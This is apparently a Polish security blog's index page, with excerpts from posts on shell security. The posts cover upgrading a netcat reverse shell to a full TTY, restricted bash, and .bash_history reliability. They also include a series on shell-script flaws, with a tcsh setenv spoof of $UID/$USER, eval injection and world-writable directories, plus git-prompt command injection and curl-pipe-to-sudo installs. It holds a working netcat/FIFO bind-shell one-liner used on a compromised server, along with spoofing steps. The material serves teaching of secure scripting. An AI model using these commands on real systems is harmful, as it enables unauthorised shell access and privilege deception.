Z

ałóżmy, że uruchomiliśmy już „odwróconą powłokę” na przejętym przez nas serwerze (w jakimś stopniu) przy pomocy polecenia netcat:

$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/bash -i 2>&1 | nc -lvp 4444 > /tmp/f
Listening on [0.0.0.0] (family 0, port 4444)
Connection from X.X.X.X 45600 received!

Problem w tym, że jeśli z poziomu klienta połączymy się z tak przygotowaną maszyną to nie będziemy mieli pełnowymiarowej powłoki bash z jaką mamy do czynienia przez SSH. Żadne polecenia nie będą dopełniane za pomocą klawisza Tab oraz nie wszystkie interaktywne programy będą w stanie działać poprawnie. Na przykład:

agresor@stardust:~$ nc X.X.X.X 4444
vim
Vim: Warning: Output is not to a terminal
Vim: Warning: Input is not from a terminal

Na szczęście istnieje prosty trick, który za pomocą języka Python i pomocy kilku poleceń jest w stanie dostarczyć nam pełnowymiarową powłokę. Procedura jest następująca:
[ czytaj całość… ]

W

ramach „Uciekiniera z zastrzeżonej powłoki” wielu z Was dziwiło się jak prosto można uruchomić powłokę bash bez oficjalnego profilu ładowanego z systemu. Tym samym powstało wiele pytań o wiarygodność pliku .bash_history w kontekście śledzenia aktywności użytkowników. Na początku może skonfigurujmy dla tego pliku środowisko systemu najlepiej, jak umiemy.
[ czytaj całość… ]

J

eśli powłoka bash zostanie uruchomiona jako rbash (link symboliczny) lub z opcjami --restricted lub -r – to przejdzie w tryb ograniczony. Ograniczona powłoka służy do umieszczania użytkowników w bardziej kontrolowanym środowisku niż jej standardowy wariant. Zachowuje się identycznie jak bash z poniższymi ograniczeniami:
[ czytaj całość… ]

W

kolejnej części naszej serii [ 1 ] [ 2 ] [ 3 ] zajmiemy się atakami związanymi z uwierzytelnianiem. Zaczniemy od tezy, że nie należy polegać na skryptach, aby ustalać, czy użytkownik ma lub nie ma uprawnień do danej czynności. Jest to możliwe, jednak istnieją dobre i złe strony takiego rozwiązania. Za przykład posłuży nam skrypt:

#!/bin/bash

if [ $UID = 0 -a $USER = "root" ] ; then
    echo "Jesteś administratorem zapraszam do domu."
    echo $HOME
fi

Kod ten zawiera trzy błędy bezpieczeństwa i wszystkie są spowodowane używaniem zmiennych. Mimo, że bash chroni przed modyfikacją zmienną $UID to już $USER jest niezabezpieczona. No i kto powiedział, że inne powłoki chronią zmienną $UID?

root@darkstar:/home/agresor# ./test.sh
Jesteś administratorem zapraszam do domu.
/root
root@darkstar:~#

Skrypt działa poprawnie dla konta administratora. Przeprowadźmy teraz atak za pomocą zwykłego użytkownika:

agresor@darkstar:~$ ./test.sh
agresor@darkstar:~$ # Niestety nic z tego, ale...
agresor@darkstar:~$ tcsh
darkstar:~> setenv UID 0
darkstar:~> setenv USER root
darkstar:~> setenv HOME /tmp
darkstar:/home/agresor> /bin/bash test.sh
Jesteś administratorem zapraszam do domu.
/tmp

Jeśli ewentualnie chcemy pozyskać informacje o użytkowniku powinniśmy wykorzystać polecenie id:

# Prawdziwy UID
USRUID="$(/usr/bin/id -u -r)"
# Efektywny UID
USEUID="$(/usr/bin/id -u)"
# Nazwa użytkownika
USNUID="$(/usr/bin/id -u -n)"

Na szczęście powyższy skrypt operował tylko wyświetlaniem komunikatów za pomocą echo. W połączeniu z innym możliwym atakiem (wstrzykiwania) można te błędy wykorzystać w bardziej zły sposób.

Więcej informacji: TCSH / CSH Shell Set PATH Variable, Shell Script Security

T

rzecia część [ 1 ] [ 2 ] będzie poruszać ataki wstrzykiwania do skryptów powłoki. Te typy ataków występują, gdy użytkownik dostarcza jako argumenty przechowywane w zmiennych skryptu spreparowane polecenia lub wartości zamiast oczekiwanych danych wejściowych. W dodatku użyte zmienne są pozbawione znaków cytowania, które służą do usuwania interpretacji znaków specjalnych przez powłokę. Na przykład:

#!/bin/bash

read LOGIN
read COMMAND
if [ x$LOGIN = xroot ]; then
    echo $LOGIN
    eval $COMMAND
fi

[ czytaj całość… ]

W

drugiej części naszej serii zajmiemy się atakami na katalogi, które są dostępne do zapisu dla wszystkich użytkowników. Pliki znajdujące się w tych katalogach podatne są na atak polegający na możliwości zastąpienia ich innym, „złośliwym” plikiem, który skrypt zamierza odczytać lub zapisać.
[ czytaj całość… ]

B

ezpieczeństwo, jeśli chodzi o pisanie skryptów shell bywa różne. Większość użytkowników skupia się zazwyczaj na rozwiązaniu napotkanego problemu programistycznego lub automatyzacji żmudnego zadania. Nie doprowadzanie w kodzie do luk umożliwiających późniejszą ich eksploatację schodzi na drugi plan. Dlatego w tej serii zostanie opisanych kilka typowych błędów popełnianych w skryptach shell oraz sposoby, w jaki można je wykorzystać i nim zapobiec.
[ czytaj całość… ]

C

iekawe demo oraz słuszność swojego pomysłu przedstawił N.J. Hartwell. Pokazuje on, że niektóre znaki zachęty szczególnie te, którym dołożono wyświetlanie nazwy brancha git mogą być podatne na wykonanie dowolnego kodu. Można oszukać naszą, lokalną powłokę, aby wykonała polecenie lub skrypt, jeśli nazwiemy nasz branch na przykład tak: $(./skrypt.sh). Jak sprawdzić czy nasz prompt jest podatny? Wystarczy, że ściągniemy to repozytorium i wejdziemy do niego za pomocą polecenia cd. Jeśli prompt naszej powłoki niepoprawnie przeprowadzi interpretację zestawu znaków $(..) to wykona skrypt ./pw3n i wyświetli (na szczęście) tylko odpowiedni komunikat.

I

nternet przyzwyczaja nas do wielu nowych rzeczy. To, co jest w nim opublikowane przyjmujemy czasem za pewnik, a porady za sprawdzone i uzasadnione. Niestety nie zawsze tak jest. Jeśli spojrzymy na niektóre, zalecane metody instalacji lub konfiguracji oprogramowania to aż trudno uwierzyć, że nikt nie pomyślał na ile różnych sposobów można je wykorzystać. Sprawdźmy dokąd może zaprowadzić nas na przykład polecenie:

curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash -

[ czytaj całość… ]

L

UNAR jest narzędziem do audytu systemów z rodziny *nix opartym na kilku benchmarkach oraz innych frameworkach. W skryptach źródłowych można znaleźć nawet adnotacje odnoszące się do konkretnych punktów z zaleceń benchmarków. Obsługuje m.in systemy: RHEL 5, 6, 7 (w tym CentOS oraz Scientific Linux); SLES 10, 11, 12; Debian / Ubuntu; Amazon Linux; Solaris 6, 7, 8, 9, 10 oraz 11 oraz Mac OS X. Jak sam autor zaleca, aby mieć największą pewność, że żadne niepowołane zmiany zostaną dokonane w naszym systemie – najlepiej uruchamiać narzędzie w trybie audytu (-a). W ten sposób do wykrytych nieprawidłowości można odnieść się poprzez czytanie konkretnych instrukcji kodu (całość napisana jest w języku powłoki bash) lub wspomnianych wcześniej komentarzy. Gdyby doszło to jakieś pomyłki istnieje możliwość wycofania zmian, ponieważ pliki są backupowane za pomocą cpio.
[ czytaj całość… ]